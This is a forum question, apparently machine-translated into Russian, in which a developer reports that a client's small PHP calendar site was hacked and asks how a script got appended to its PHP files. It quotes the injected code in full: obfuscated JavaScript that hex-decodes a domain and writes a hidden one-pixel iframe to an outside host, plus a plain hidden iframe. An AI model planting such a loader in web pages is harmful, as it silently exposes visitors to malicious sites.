Ну, я думаю, этот день должен был прийти.
Мой клиентский сайт был взломан и внесен в черный список Google. Когда вы загружаете главную страницу, этот javascript автоматически добавляется в нижнюю часть документа:
<script type="text/javascript">var str='google-analytics.com';var str2='6b756c6b61726e696f6f37312e636f6d';str4='php';var str3='if';str='';for(var i=0;i<str2.length;i=i+2){str=str+'%'+str2.substr(i,2);}str=unescape(str);document.write('<'+str3+'rame width=1 height=1 src="http://'+str+'/index.'+str4+'?id=382" style="visibility: hidden;"></'+str3+'rame>');</script></head><body><iframe src="http://kulkarnioo71.com/index.php?id=382" style="visibility: hidden;" width="1" height="1"></iframe>
Я еще не разобрал его, но это, очевидно, злоумышленник, пытающийся позиционировать как аналитику google. То, что я не могу оборачивать, состоит в том, что если я удалю КАЖДОГО ОДНОГО ПОСЛЕДНЕГО БИТА с главной страницы до такой степени, что index.html является пустым документом, javascript STILL будет внедрен. Что дает? Как это возможно?
Обновления
-
Веб-сайт - это очень простое приложение для календаря, работает на учетной записи unix в формате $10/месяц, MySQL, PHP.
-
Это не локальная вещь, характерная для моего компьютера, так как мой клиент вызвал меня с проблемой. Также происходит на всех компьютерах, которые у меня дома (4)
Я запустил сканирование на веб-сервере...
идентифицированный источник
Ну, я узнал, откуда идет javascript. Я по глупости только опорожнил файл template.html
, но все еще запускал script через мою систему php templating. По-видимому, ПОТОМУ ЧТО приведенный выше код добавлен к нижней части моих файлов index.php
и main.php
. Как это возможно?
Немного больше фона:
- Это приложение для календаря, как упоминалось выше, и оно используется только моей небольшой компанией-клиентом. Вход должен сделать что угодно, и только у 5 или около того есть учетные записи. Я могу гарантировать, что ни один из них не попытается использовать какие-либо махинации. Я, очевидно, не могу гарантировать, что кто-то завладел их информацией и, однако, попытался использовать махинации.
- К сожалению, я сделал этот сайт почти 4 года назад, поэтому я не уверен на 100%, я защищал все, что сейчас пытаются делать дети, но я до сих пор не понимаю, как злоумышленник мог получить доступ к веб-серверу добавьте этот javascript в мои php файлы.